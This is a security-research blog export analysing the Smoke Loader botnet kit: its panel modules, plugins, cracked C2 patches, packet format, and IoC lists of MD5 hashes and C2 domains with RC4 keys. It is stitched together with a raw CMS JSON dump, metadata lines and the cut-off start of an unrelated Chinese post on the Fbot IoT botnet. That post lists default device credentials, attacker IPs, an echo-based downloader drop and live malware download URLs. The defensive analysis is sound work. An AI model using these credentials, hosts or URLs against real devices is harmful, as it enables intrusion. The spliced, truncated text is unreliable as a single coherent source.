Loader Feature Introduction, smoke_features.txt * Installation Notes Admin panel After deploying it, we get a web control interface, which is the Smoke Loader’s admin panel. It just looks very similar to the screenshots security researchers found from the underground market. The admin panel supports the following 12 modules (For details, refer to the smoke_features.txt) file comes with the kit: * STEALER * FORM GRAB * PASS SNIF * FAKE DNS * FILE SEARCH * PROCMON * DDOS attack * KEYLOGGER * HIDDEN TV(team viewer) * MINER * EMAIL GRAB * User-defined program The modules’ storage location and execution are different: * The first eight functions, from ” STEALER” to “KEYLOGGER” refers to Panel/mods/plugins, this single file is actually a collection of 16 plug-ins. The 16 executables can be loaded by injecting into seperate explorer.exe process on victim hosts. * Hidden TeamViewer and MINER: under path Panel/mods/tv and Panel/mods/minerXX correspondingly. (Both can be loaded by downloading the corresponding plugin then be injected as subprocess.) * User-defined program: User can load any malicious program that he likes, either directly from the console or downloaded from a user specified URL. The execution process is also flexible,( it can be executed directly, or be loaded as a dll, or even directly be injected in the process.) Plugin Smoke Loader’s plugin system is very flexible. When it first launches, it tries to download all the built-in plug-ins and their execution rules. Customers can also add their own plug-ins and plug-in rules. A total of 16 plug-ins have been disassembled by decrypting the plugin file, some of which have the same function but are adapted to different versions of the operating system. When running on our test machine, we can see that it creates 9 subprocesses, each running a plugin. Note that although these process names are seemingly harmless as explorer.exe, they have been injected with plug-in payloads and are malicious. For details of the specific injection method, see Reference [1]. More plugin details include: * Mining plugin : It downloads the corresponding miner program (process wauuclt.exe) with the startup parameters to perform the mining task when it receives the mining instruction from C2. * DDoS plugin : Many common DDoS attack types, such as http get flood, http post flood, download flood, udp flood, syn flood, tcp flood, https get flood, http slowloris flood * Form Information Stealing Plugin : Supports common browsers including IE, Firefox, Chrom, Opera, Chromium, Yandex browser, Amigo browser, QQ browser, outlook, Thunderbird "Deception" or "Piracy" ? It has been reported that the recent Smoke Loader has an updated version [2] to defer security researchers’ effort to extract its’ C2s, we have also observed a similar set of samples but we have a different theory. We believe that this version of the changes came from a third party rather than the original author, the purpose is to break the limitations of the original author’s rule which requires extra fee to update C2 after purchase. Smoke Loader is available for about $850 in the black market. The author uses a license sales model to release a customized system for each buyer, including Loader+Panel. It’s worth noting that if buyer wants to change C2 he need to regenerate the Loader, and each rebuild of a Loader costs $10. With the above background info, let’s go back to these special samples we have, all together there are 88 samples. And one thing in common is that all of them have two “extra” residual C2 URLs that are not valid: * hxxp://185.35.137.147/mlp/ * hxxp://185.35.137.147/mlp/ With this information, we looked into our samples pool and have associated other original samples that only used these “extra” C2 as the only valid C2. Here are some highlights between the original version and the modified version: * Residual C2 URLs : all modified versions share the exact same residual C2 URLs, suggesting that this set of samples have the same root; * C2 configuration : the original samples encrypt the C2 configuration, and the modified samples store it in plaintext; * Active and standby C2 mechanism : The original samples have backup C2 mechanism, but not in the modified samples; * C2 verification mechanism : The original samples determine whether to install the startup item and whether to load the plug-in by verifying the CRC32 values of the two C2 first. The modified version directly overwrites the verification code with the NOP assembly empty instruction, and skips the verification mechanism all together. The modified version circumvents the limitation set by the author, but it comes with a price, only one valid hard-coded C2 is supported. The network behavior of the samples and our statistics both confirm this. Three Key Patch Codes in the Modified Version There are three key patches in the modified version: * Patch 1 : to replaces the decryption function for the C2 configuration information, the C2 is written plaintext in the code. When the decryption function is called, C2 address is returned directly. As can be seen from the figure below, the C2 returned by each decryption function call is a direct “hxxp://jsoc8492.us/jd/” ; * Patch 2 : to overwrite the code that verifies the first C2. The original sample is supposed to calculate the CRC value of the first C2, and then compare it with the encryption key. If it is mismatched, the plugin will not be loaded; * Patch 3 : similar to above, just to work on the second C2; Other Interesting Details Loader The Loader consists of an injector and a payload. The injector is responsible for some basic anti-sandbox and anti-reverse engineering tasks, and eventually injects the payload into the explorer process. The payload is the real working code. The 2018 version of the injector uses the PROPagate's packed injection solution, which is mentioned in Talos' documentation. Typically, buyers of Smoke Loader adds their own packaging scheme to pack Loader before spreading malicious programs through various channels. Therefore, the popular samples normally have two to three shells. Registration Packet and C2 Command Communication Format After the sample launches, it sends a packet to register with the controller. We have yet to see a public document which details the data structure of the 2018 version, but with the files on hand we were able to easily figure it out. Here is the register packet's format: Here are several fields' description: * AFFID : Also called Seller ID, this is to ID the distribution channel, it is hard coded into the sample by the author. The most common values are Good, cece and new1, and about 15% of the samples only have an empty field here; * BOT_WINVER : The target host OS version. It seems that all current Windows Personal Edition systems from WinXP to Win10 are supported. See the figure below; * BOT_RES : Smoke Loader has two sub version, the non-resident version only runs one time and then removes itself from the victim. Another resident version stays on the victim. This tag is used to distinguish it; * BOT_CMD : The instruction number, there are 15 instructions defined by the console, as shown in the figure below. 4. IoC Statistics Here is some basic statistics for the samples we collected in the past six months: * Samples: 1656 * C2: 296 * Affid: 42 Number related to modified version: * Original version vs modified version: 1568 vs 88 * Number of C2 URLs in modified version: 27 * Domain names involved in the C2 URLs: 15 Grouped by Affid (Seller ID), the sample statistics are as follows. Among them, Good, Cece, and new1 are the top 3 channels, accounts for 88%. NA is the case where the Affid is empty: affid count % Good 826 49.9% cece 395 23.9% [NA] 238 14.4% new1 77 4.7% 1501 21 1.3% 0 13 0.8% Pitt 12 0.7% 1301 9 0.5% sel1 7 0.4% Form 5 0.3% OTHER 52 3.1% 5. IoC Malware Sample md5s in last 6 months The whole list has more than 1,500 entries and can be downloaded here. The first ten records are listed below: 001dacf6608df69d485514a172fff05d 00521a5e800a85de875b703e9bc1f507 00891f91904955fb69fad4488f96741a 008d5eb400e41fcb87ef64db276013dc 009e213b63a4830adf5df372261ae6b0 00b8a47bdf14880ebeba6bebc3ea7dbc 00c5063e13752357b35c097c4c0f7059 00eef71e18381a537b1750c7f2983025 01162c00d54b976536d692173ef3e039 013748c007f80fb7cc2c42ca424e4733 Malware C2 in last 6 months The complete list has more than 250 C2 entries, and can be downloaded here , and below are the first ten records. The format is as follows. * version : version number * req_key : rc4 encryption key for sending data * res_key : rc4 decryption key for receiving data * remaining_c2 : the residual C2 in the modified version * affid : Seller ID * Md5 count : how many independent samples contain this C2 Some details about the C2 list: * Most of the samples have 2 to 5 C2s, but there are a few samples containing a much larger number such as 75 C2; * Some samples change their reqkey, reskey when they get upgraded; # NA C2 version req_key res_key remaining_c2_if_exists affid md5_count 0 http://makak.bit/2/ 2018 0xe5400000 0xa6b397e0 Good 826 1 http://mytter.ru/2/ 2018 0xe5400000 0xa6b397e0 Good 826 2 http://svoloch.club/2/ 2018 0xe5400000 0xa6b397e0 Good 826 3 http://d3s1.me/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 4 http://kiyanka.club/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 5 http://proxy-exe.bit/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 6 http://5gssghhs2w.org/2/ 2018 0xe5400000 0xa6b397e0 new1 77 7 http://dvhwzq.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 8 http://hdxaet.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 9 http://hghwwgh6.info/2/ 2018 0xe5400000 0xa6b397e0 new1 77 Contact Us Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn. Reference * [1] https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html * [2] https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait * [3] https://www.cert.pl/en/news/single/dissecting-smoke-loader/

{"version":"0.3.1","atoms":[["soft-return","",{}],["soft-return","",{}]],"cards":[["image",{"src":"http://123.125.80.45/content/images/2019/02/1_smoke_load_file_tree.png","alt":"","title":"","caption":"<em>Figure 1. Smoke Loader's Panel Kit File Structure</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/2_smoke_loader_pianel_web_interface-1.png","alt":"","title":"","caption":"<em>Figure 2. Smoke Loader's Admin panel, Web Interface</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/3_smoke_load_buildin_function_description.png","alt":"","title":"","caption":"<em>Figure 3. Smoke Loader Comes With a feature Introduction File</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/4_smoke_loader_task_panel.png","alt":"","title":"","caption":"<em>Figure 4. Smoke Loader User-Defined Function Interface</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/13_smoke_load_retrieving_plugin_rules.png","alt":"","title":"","caption":"<em>Figure 5. The Console Retrieves the Plugin Rules from the Database for the Bots</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/14_smoke_loader_plugin_started_with_explorerexe_injected.png","alt":"","title":"","caption":"<em>Figure 6. Plugins That Are Already Running in the Test Machine</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/15_smoke_loader_plugin_detail_miner.png","alt":"","title":"","caption":"<em>Figure 7. Example of a Mining Plugin</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/15_smoke_loader_plugin_detail_ddos.png","alt":"","title":"","caption":"<em>Figure 8. Types of Attacks Supported by the DDoS Attack Plugin</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/16_smoke_loader_plugin_form_grab.png","alt":"","title":"","caption":"<em>Figure 9. List of Browsers Supported by the Form Stealing Plugin</em>","cardWidth":""}],["image",{"src":"http://123.125.80.45/content/images/2019/02/20_smoke_loader_pirate_patch_1.png","alt":"","title":"","caption":"<em>Figure 10. Patch 1, Replaces the Decryption Function of C2 Configuration Information</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/patch-2.png","alt":"","title":"","caption":"<em>Figure 11. Patch 2, Using NOP Null Command Override to Skip the First C2 Authentication Mechanism</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/patch-3.png","alt":"","title":"","caption":"<em>Figure 12. Patch 3, Using NOP Null Command Override to Skip the Second C2 Authentication Mechanism</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/5_smoke_load_multi_layer_packing.png","alt":"","title":"","caption":"<i>Figure 13. The Popular Smoke Loader Sample Usually Has Two or Three Layers of Shells.</i>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/6_smoke_loader_register_packet_after_decode.png","alt":"","title":"","caption":"<em>Figure 14. The Decrypted Package</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/7_smoke_loader_register_packet_data_structure.png","alt":"","title":"","caption":"<em>Figure 15. The Registration Packet Data Structure Defined in the Console Code</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/8_smoke_loader_register_packet_detail_en.png","alt":"","title":"","caption":"<em>Figure 16. Smoke Loader Online Package Format</em>"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/9_smoke_loader_host_os_verstion_list.png","alt":"","title":"","caption":"<em>Figure 17. OS Version of the Host</em>"}],["markdown",{"markdown":"* **BOT_RES** : Smoke Loader has two sub version, the non-resident version only runs one time and then removes itself from the victim. Another resident version stays on the victim. This tag is used to distinguish it;"}],["image",{"src":"http://123.125.80.45/content/images/2019/02/10_smoke_loader_command_list.png","alt":"","title":"","caption":"<em>Figure 18. Instruction Types Supported by Smoke Loader</em>"}],["code",{"code":"affid count % \nGood 826 49.9% \ncece 395 23.9% \n[NA] 238 14.4%\nnew1 77 4.7% \n1501 21 1.3% \n0 13 0.8% \nPitt 12 0.7% \n1301 9 0.5% \nsel1 7 0.4% \nForm 5 0.3% \nOTHER 52 3.1% \n"}],["code",{"code":"001dacf6608df69d485514a172fff05d \n00521a5e800a85de875b703e9bc1f507 \n00891f91904955fb69fad4488f96741a \n008d5eb400e41fcb87ef64db276013dc \n009e213b63a4830adf5df372261ae6b0 \n00b8a47bdf14880ebeba6bebc3ea7dbc \n00c5063e13752357b35c097c4c0f7059 \n00eef71e18381a537b1750c7f2983025 \n01162c00d54b976536d692173ef3e039 \n013748c007f80fb7cc2c42ca424e4733 \n"}],["code",{"code":"# NA C2 version req_key res_key remaining_c2_if_exists affid md5_count\n0 http://makak.bit/2/ 2018 0xe5400000 0xa6b397e0 Good 826 \n1 http://mytter.ru/2/ 2018 0xe5400000 0xa6b397e0 Good 826 \n2 http://svoloch.club/2/ 2018 0xe5400000 0xa6b397e0 Good 826 \n3 http://d3s1.me/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 \n4 http://kiyanka.club/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 \n5 http://proxy-exe.bit/2/ 2018 0x3b22e540 0xa6b397e0 cece 395 \n6 http://5gssghhs2w.org/2/ 2018 0xe5400000 0xa6b397e0 new1 77 \n7 http://dvhwzq.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 \n8 http://hdxaet.ru/2/ 2018 0xe5400000 0xa6b397e0 new1 77 \n9 http://hghwwgh6.info/2/ 2018 0xe5400000 0xa6b397e0 new1 77 \n"}]],"markups":[["strong"],["a",["href","__GHOST_URL__/file/smoke_features.txt"]],["a",["href","__GHOST_URL__/file/ioc_smoke_loader_md5.txt"]],["a",["href","__GHOST_URL__/file/ioc_smoke_loader_c2.txt"]],["em"],["a",["href","https://twitter.com/360Netlab"]],["a",["href","https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html"]],["a",["href","https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait"]],["a",["href","https://www.cert.pl/en/news/single/dissecting-smoke-loader/"]]],"sections":[[1,"p",[[0,[],0,"Smoke Loader is a botnet software that is publicly available since 2011 on the black market. It is old but still active, just in the last six months we have seen more than 1,500 active samples."]]],[1,"p",[[0,[],0,"Although it has been repeatedly exposed by different security researchers in recent years, the public available documents we have seen are all missing an important part of this botnet software, the admin panel. We are not quite sure why no one seems to have talked about it except citing screenshot shared by the possible malware author in the underground forum."]]],[1,"p",[[0,[],0,"We also noticed the existence of a bunch of special modified samples, these samples also caught attention by other researchers. There is a theory that the original author did this as an effort to hide the C2 to make it more difficult to be taken down. We have a different thought, we think that there are 3rd party out there who do not want to pay the original author fees to update C2 so they released these patched versions."]]],[1,"p",[[0,[],0,"So here are some details:"]]],[1,"h2",[[0,[],0,"Smoke Loader Kit"]]],[1,"p",[[0,[],0,"The file structure in the kit is shown in the following figure,"]]],[3,"ul",[[[0,[0,0],2,"Core File"],[0,[],0,", Loader_new_Cyberbunker.exe, working payload to be injected to the processes of the infected hosts."]],[[0,[0,0],2,"Web Console"],[0,[],0,", this is the Admin Panel"]],[[0,[0,0],2,"Plugins"],[0,[],0,", including panel/mods and panel/keylogger, etc."]],[[0,[0,0],2,"Mysql database build script"],[0,[],0," smoke_1.sql, where plugin rules are stored"]],[[0,[0,0],2,"Smoke Loader Feature Introduction"],[0,[],0,", smoke_features.txt"]],[[0,[0,0],2,"Installation Notes"]]]],[1,"p",[]],[10,0],[1,"h4",[[0,[],0,"Admin panel"]]],[1,"p",[[0,[],0,"After deploying it, we get a web control interface, which is the Smoke Loader’s admin panel. It just looks very similar to the screenshots security researchers found from the underground market."]]],[1,"p",[[0,[],0,"The admin panel supports the following 12 modules (For details, refer to the "],[0,[1,0],2,"smoke_features.txt"],[0,[],0,") file comes with the kit:"]]],[3,"ul",[[[0,[],0,"STEALER"]],[[0,[],0,"FORM GRAB"]],[[0,[],0,"PASS SNIF"]],[[0,[],0,"FAKE DNS"]],[[0,[],0,"FILE SEARCH"]],[[0,[],0,"PROCMON"]],[[0,[],0,"DDOS attack"]],[[0,[],0,"KEYLOGGER"]],[[0,[],0,"HIDDEN TV(team viewer)"]],[[0,[],0,"MINER"]],[[0,[],0,"EMAIL GRAB"]],[[0,[],0,"User-defined program"]]]],[1,"p",[[0,[],0,"The modules’ storage location and execution are different:"]]],[3,"ul",[[[0,[],0,"The first eight functions, from ” STEALER” to “KEYLOGGER” refers to Panel/mods/plugins, this single file is actually a collection of 16 plug-ins. The 16 executables can be loaded by injecting into seperate explorer.exe process on victim hosts."]],[[0,[],0,"Hidden TeamViewer and MINER: under path Panel/mods/tv and Panel/mods/minerXX correspondingly. (Both can be loaded by downloading the corresponding plugin then be injected as subprocess.)"]],[[0,[],0,"User-defined program: User can load any malicious program that he likes, either directly from the console or downloaded from a user specified URL. The execution process is also flexible,( it can be executed directly, or be loaded as a dll, or even directly be injected in the process.)"]]]],[10,1],[10,2],[10,3],[1,"h4",[[0,[],0,"Plugin"]]],[1,"p",[[0,[],0,"Smoke Loader’s plugin system is very flexible. When it first launches, it tries to download all the built-in plug-ins and their execution rules. Customers can also add their own plug-ins and plug-in rules."]]],[1,"p",[[0,[],0,"A total of 16 plug-ins have been disassembled by decrypting the plugin file, some of which have the same function but are adapted to different versions of the operating system. When running on our test machine, we can see that it creates 9 subprocesses, each running a plugin. Note that although these process names are seemingly harmless as explorer.exe, they have been injected with plug-in payloads and are malicious. For details of the specific injection method, see Reference [1]."]]],[10,4],[10,5],[1,"p",[[0,[],0,"More plugin details include:"]]],[3,"ul",[[[0,[0,0],2,"Mining plugin"],[0,[],0," : It downloads the corresponding miner program (process wauuclt.exe) with the startup parameters to perform the mining task when it receives the mining instruction from C2."]],[[0,[0,0],2,"DDoS plugin"],[0,[],0," : Many common DDoS attack types, such as http get flood, http post flood, download flood, udp flood, syn flood, tcp flood, https get flood, http slowloris flood"]],[[0,[0,0],2,"Form Information Stealing Plugin"],[0,[],0," : Supports common browsers including IE, Firefox, Chrom, Opera, Chromium, Yandex browser, Amigo browser, QQ browser, outlook, Thunderbird"]]]],[10,6],[10,7],[1,"p",[]],[10,8],[1,"h2",[[0,[],0,"\"Deception\" or \"Piracy\" ?"]]],[1,"p",[[0,[],0,"It has been reported that the recent Smoke Loader has an updated version [2] to defer security researchers’ effort to extract its’ C2s, we have also observed a similar set of samples but we have a different theory."]]],[1,"p",[[0,[],0,"We believe that this version of the changes came from a third party rather than the original author, the purpose is to break the limitations of the original author’s rule which requires extra fee to update C2 after purchase."]]],[1,"p",[[0,[],0,"Smoke Loader is available for about $850 in the black market. The author uses a license sales model to release a customized system for each buyer, including Loader+Panel. It’s worth noting that if buyer wants to change C2 he need to regenerate the Loader, and each rebuild of a Loader costs $10."]]],[1,"p",[[0,[],0,"With the above background info, let’s go back to these special samples we have, all together there are 88 samples. And one thing in common is that all of them have two “extra” residual C2 URLs that are not valid:"]]],[3,"ul",[[[0,[],0,"hxxp://185.35.137.147/mlp/"]],[[0,[],0,"hxxp://185.35.137.147/mlp/"]]]],[1,"p",[[0,[],0,"With this information, we looked into our samples pool and have associated other original samples that only used these “extra” C2 as the only valid C2."]]],[1,"p",[[0,[],0,"Here are some highlights between the original version and the modified version:"]]],[3,"ul",[[[0,[0,0],2,"Residual C2 URLs"],[0,[],0," : all modified versions share the exact same residual C2 URLs, suggesting that this set of samples have the same root;"]],[[0,[0,0],2,"C2 configuration"],[0,[],0," : the original samples encrypt the C2 configuration, and the modified samples store it in plaintext;"]],[[0,[0,0],2,"Active and standby C2 mechanism"],[0,[],0," : The original samples have backup C2 mechanism, but not in the modified samples;"]],[[0,[0,0],2,"C2 verification mechanism"],[0,[],0," : The original samples determine whether to install the startup item and whether to load the plug-in by verifying the CRC32 values of the two C2 first. The modified version directly overwrites the verification code with the NOP assembly empty instruction, and skips the verification mechanism all together."]]]],[1,"p",[[0,[],0,"The modified version circumvents the limitation set by the author, but it comes with a price, only one valid hard-coded C2 is supported. The network behavior of the samples and our statistics both confirm this."]]],[1,"h4",[[0,[],0,"Three Key Patch Codes in the Modified Version"]]],[1,"p",[[0,[],0,"There are three key patches in the modified version:"]]],[3,"ul",[[[0,[0,0],2,"Patch 1"],[0,[],0," : to replaces the decryption function for the C2 configuration information, the C2 is written plaintext in the code. When the decryption function is called, C2 address is returned directly. As can be seen from the figure below, the C2 returned by each decryption function call is a direct “hxxp://jsoc8492.us/jd/” ;"]],[[0,[0,0],2,"Patch 2"],[0,[],0," : to overwrite the code that verifies the first C2. The original sample is supposed to calculate the CRC value of the first C2, and then compare it with the encryption key. If it is mismatched, the plugin will not be loaded;"]],[[0,[0,0],2,"Patch 3"],[0,[],0," : similar to above, just to work on the second C2;"]]]],[10,9],[10,10],[10,11],[1,"h2",[[0,[],0,"Other Interesting Details"]]],[1,"h4",[[0,[],0,"Loader"]]],[1,"p",[[0,[],0,"The Loader consists of an injector and a payload. The injector is responsible for some basic anti-sandbox and anti-reverse engineering tasks, and eventually injects the payload into the explorer process. The payload is the real working code."]]],[1,"p",[[0,[],0,"The 2018 version of the injector uses the PROPagate's packed injection solution, which is mentioned in Talos' documentation. Typically, buyers of Smoke Loader adds their own packaging scheme to pack Loader before spreading malicious programs through various channels. Therefore, the popular samples normally have two to three shells."]]],[10,12],[1,"h4",[[0,[],0,"Registration Packet and C2 Command Communication Format"]]],[1,"p",[[0,[],0,"After the sample launches, it sends a packet to register with the controller. We have yet to see a public document which details the data structure of the 2018 version, but with the files on hand we were able to easily figure it out."]]],[10,13],[10,14],[1,"p",[[0,[],0,"Here is the register packet's format:"]]],[10,15],[1,"p",[[0,[],0,"Here are several fields' description:"]]],[3,"ul",[[[0,[0,0],2,"AFFID"],[0,[],0," : Also called Seller ID, this is to ID the distribution channel, it is hard coded into the sample by the author. The most common values are Good, cece and new1, and about 15% of the samples only have an empty field here;"]],[[0,[0,0],2,"BOT_WINVER"],[0,[],0," : The target host OS version. It seems that all current Windows Personal Edition systems from WinXP to Win10 are supported. See the figure below;"]]]],[10,16],[10,17],[1,"p",[]],[3,"ul",[[[0,[0,0],2,"BOT_CMD"],[0,[],0," : The instruction number, there are 15 instructions defined by the console, as shown in the figure below."]]]],[10,18],[1,"h2",[[0,[],0,"4. IoC Statistics"]]],[1,"p",[[0,[],0,"Here is some basic statistics for the samples we collected in the past six months:"]]],[3,"ul",[[[0,[],0,"Samples: 1656"]],[[0,[],0,"C2: 296"]],[[0,[],0,"Affid: 42"]]]],[1,"p",[[0,[],0,"Number related to modified version:"]]],[3,"ul",[[[0,[],0,"Original version vs modified version: 1568 vs 88"]],[[0,[],0,"Number of C2 URLs in modified version: 27"]],[[0,[],0,"Domain names involved in the C2 URLs: 15"]]]],[1,"p",[[0,[],0,"Grouped by Affid (Seller ID), the sample statistics are as follows. Among them, Good, Cece, and new1 are the top 3 channels, accounts for 88%. NA is the case where the Affid is empty:"]]],[10,19],[1,"h2",[[0,[],0,"5. IoC"]]],[1,"p",[[0,[],0,"Malware Sample md5s in last 6 months "],[1,[],0,0],[0,[],0,"The whole list has more than 1,500 entries and can be downloaded "],[0,[2,0,0],3,"here"],[0,[],0,". The first ten records are listed below:"]]],[10,20],[1,"p",[[0,[],0,"Malware C2 in last 6 months "],[1,[],0,1],[0,[],0,"The complete list has more than 250 C2 entries, and can be downloaded "],[0,[3,0,0],3,"here"],[0,[],0," , and below are the first ten records. The format is as follows."]]],[3,"ul",[[[0,[],0,"version : version number"]],[[0,[],0,"req_key : rc4 encryption key for sending data"]],[[0,[],0,"res_key : rc4 decryption key for receiving data"]],[[0,[],0,"remaining_c2 : the residual C2 in the modified version"]],[[0,[],0,"affid : Seller ID"]],[[0,[],0,"Md5 count : how many independent samples contain this C2"]]]],[1,"p",[[0,[],0,"Some details about the C2 list:"]]],[3,"ul",[[[0,[],0,"Most of the samples have 2 to 5 C2s, but there are a few samples containing a much larger number such as 75 C2;"]],[[0,[],0,"Some samples change their req"],[0,[4],1,"key, res"],[0,[],0,"key when they get upgraded;"]]]],[10,21],[1,"h2",[[0,[],0,"Contact Us"]]],[1,"p",[[0,[],0,"Readers are always welcomed to reach us on "],[0,[5,0],2,"twitter"],[0,[],0,", WeChat 360Netlab or email to netlab at 360 dot cn."]]],[1,"h2",[[0,[],0,"Reference"]]],[3,"ul",[[[0,[],0,"[1] "],[0,[6],1,"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html"]],[[0,[],0,"[2] "],[0,[7],1,"https://int0xcc.svbtle.com/a-taste-of-our-own-medicine-how-smokeloader-is-deceiving-dynamic-configuration-extraction-by-using-binary-code-as-bait"]],[[0,[],0,"[3] "],[0,[8],1,"https://www.cert.pl/en/news/single/dissecting-smoke-loader/"]]]]],"ghostVersion":"3.0"}

5c6686883cfa71000717a69e

post

2019-02-19T08:53:51.000Z

63873b9a8b1c1e0007f52f43

the-new-developments-of-the-fbot

2022-02-09T07:13:05.000Z

public

published

2019-02-20T08:37:07.000Z

FBot 新进展

<!--kg-card-begin: markdown--><p>【更新：2019年12月4日】近期我们多次收到针对本blog的询问。我们决定将一些事实补充列出如下：</p> <p>——Kenneth Crurrin Schuchman，绰号 Nexus-Zeta，一名21岁的年轻人，已经于2019年9月3日向美国阿拉斯加区域法庭认罪。Schuchman的认罪书表明，Schuchman及其同谋者通过感染大批设备，创建了一系列僵尸网络，包括 Satori，Okiru，Masuta，Tsunami，Fbot，并利用这些僵尸网络的DDoS破坏力牟利；<br> ——本 Blog 中涉及到的脆弱性并非发生在 Hisilicon。通过后续分析以及安全社区交流，我们确认该脆弱性发生在华为海思的供应链下游厂商。为了保护最终客户的利益，我们决定不公开脆弱性细节、攻击者使用的载荷或者具体厂商名字；<br> ——华为 PSIRT 对我们披露的安全事件，作出了负责任的响应；</p> <p>读者在继续阅读本blog时，应当明确blog和样本中出现的 Hisilicon字样，源自Schuchman及其同谋者的错误判断。实际上整个IoT产业链条庞杂，其体量远超攻击者或者任何单一从业人员能够理解的范围。只有产业界和安全社区的通力合作，才能增强产业链的安全性。</p> <p>【更新：2019年2月21日】 2019年2月21日11点，我们捕获到了Fbot Loader完整的漏洞利用Payload，攻击者通过DVRIP协议建立telnet后门并植入Fbot僵尸网络程序。</p> <h3 id="">特别声明</h3> <p>本次抓取的Fbot看起来是以 HiSilicon DVR/NVR Soc 的设备为目标，我们已经看到有24528个设备IP被感染。但需要警惕的是，考虑到物联网行业具有复杂的产业链，实际问题可能是在它的下游引入的，我们这里之所以列出 HiSilicon DVR/NVR Soc 仅源自于我们对可获取特征的统计，在没有拿到实际 Exploit 之前，我们无法给出引入问题的确切位置。</p> <h3 id="">背景介绍</h3> <p>从2019年2月16号开始，360Netlab发现有大量HiSilicon DVR/NVR Soc设备被攻击者利用并植入Fbot僵尸网络程序。Fbot是由360Netlab率先发现并披露的僵尸网络[<a href="__GHOST_URL__/threat-alert-a-new-worm-fbot-cleaning-adbminer-is-using-a-blockchain-based-dns-en/">1]</a>，它一直很活跃，并且有在不断地升级。我们这次捕获到的Fbot就是一个针对HiSilicon DVR/NVR Soc设备的变种。</p> <h3 id="fbot">Fbot 感染目标</h3> <p>通过探测被感染的设备IP banner信息，我们得到一个被感染的设备CPU型号列表，并且可以确认这是属于HiSilicon DVR/NVR Soc设备[<a href="http://www.hisilicon.com/en/Products">2]</a>。由于有大量摄像头厂商采用了HiSilicon DVR/NVR Soc，我们也可以看到其它一些摄像头品牌。</p> <p>目前，我们已经看到有24528个设备IP被感染。</p> <p><img src="__GHOST_URL__/content/images/2019/02/fbot.png" alt="fbot" loading="lazy"><center>图1：被感染的设备IP 国家/地区分布 </center></p> <p>以下是被感染的摄像头IP 国家/地区详细列表</p> <pre><code>VN 6760 TW 2110 TH 1459 BR 1276 TR 1137 IN 942 IR 892 RU 862 ID 609 RO 579 MY 553 IT 489 CO 363 EG 362 LK 360 US 328 AR 310 MX 293 FR 255 PK 237 UY 185 PL 184 GB 184 VE 183 CL 177 MA 176 UA 166 BG 147 GR 142 HU 141 SG 130 IL 123 DE 109 BD 106 ES 103 </code></pre> <p>以下是被感染的设备CPU型号列表</p> <pre><code> 8262 bigfish 3534 hi3520d 383 godarm 302 godnet 78 hi3535 8 Hisilicon Hi3536DV100 (Flattened Device Tree) </code></pre> <h3 id="fbot">Fbot 感染流程</h3> <p>Fbot感染流程错综复杂，我们通过Anglerfish蜜罐和Fuzz Testing的技巧成功捕获到Fbot样本以及部分Paylod。遗憾的是，我们目前还没有捕获到关键Exploit Payload。以下是，Fbot大致的感染流程。</p> <p><img src="__GHOST_URL__/content/images/2019/02/fbot_http_scan-2.png" alt="fbot_http_scan-2" loading="lazy"><center>图2：Fbot 感染流程 </center></p> <p>首先，被感染Fbot的设备会通过基础的HTTP请求去扫描TCP:80, 81, 88, 8000, 8080端口，当目标设备返回符合的特征后，Fbot会把这个IP和端口上报给 Reporter（185.61.138.13:6565）。</p> <p>接着，Fbot Loader（185.61.138.13）通过设备默认密码 “admin/空密码” 登录目标设备Web端口，当目标设备返回符合的特征后，Fbot Loader再次使用设备默认密码 “admin/tlJwpbo6” 登录dvrip端口（TCP:34567）</p> <p>由于我们的Anglerfish蜜罐并没有模拟dvrip协议，跟Fbot Loader的正常交互到这里就不能继续了。</p> <p>所以，我们还不确定Fbot的Exploit入口（dvrip/web），也不确定是正常dvr协议利用还是漏洞利用。</p> <h3 id="fuzzfbotloader">Fuzz Fbot Loader</h3> <p>我们通过对dvrip协议进行Fuzz Testing，成功绕过Fbot Loader的Exploit逻辑。然后，Fbot Loader就会通过Shell命令向我们的TCP: 9000端口植入Fbot downloader。至此，我们便拿到了Fbot Downloader样本，然后通过Downloader样本我们得到Fbot 下载URL。</p> <pre><code>http://185.61.138.13:8080/fbot.arm5.u http://185.61.138.13:8080/fbot.arm7.u </code></pre> <h2 id="">样本分析</h2> <h3 id="downloader">Downloader</h3> <p>MD5：3b7f5be1c1ed582042f783ffcb23b754<br> 该样本是在9000端口通过命令行（echo -ne XXXXXX &gt; downloader）投递的，其核心功能只有一个，那就是通过HTTP协议从网络下载Fbot的主体并执行，下图是该样本中核心代码截图，可以直接看到下载Fbot的相关代码：</p> <p><img src="__GHOST_URL__/content/images/2019/02/image001.png" alt="image001" loading="lazy"></p> <h3 id="fbotarm5u">fbot.arm5.u</h3> <p>被分析样本为fbot.arm5.u， MD5: 43A7D9956720B86330D4985C773E76C1</p> <h4 id="">资源加密</h4> 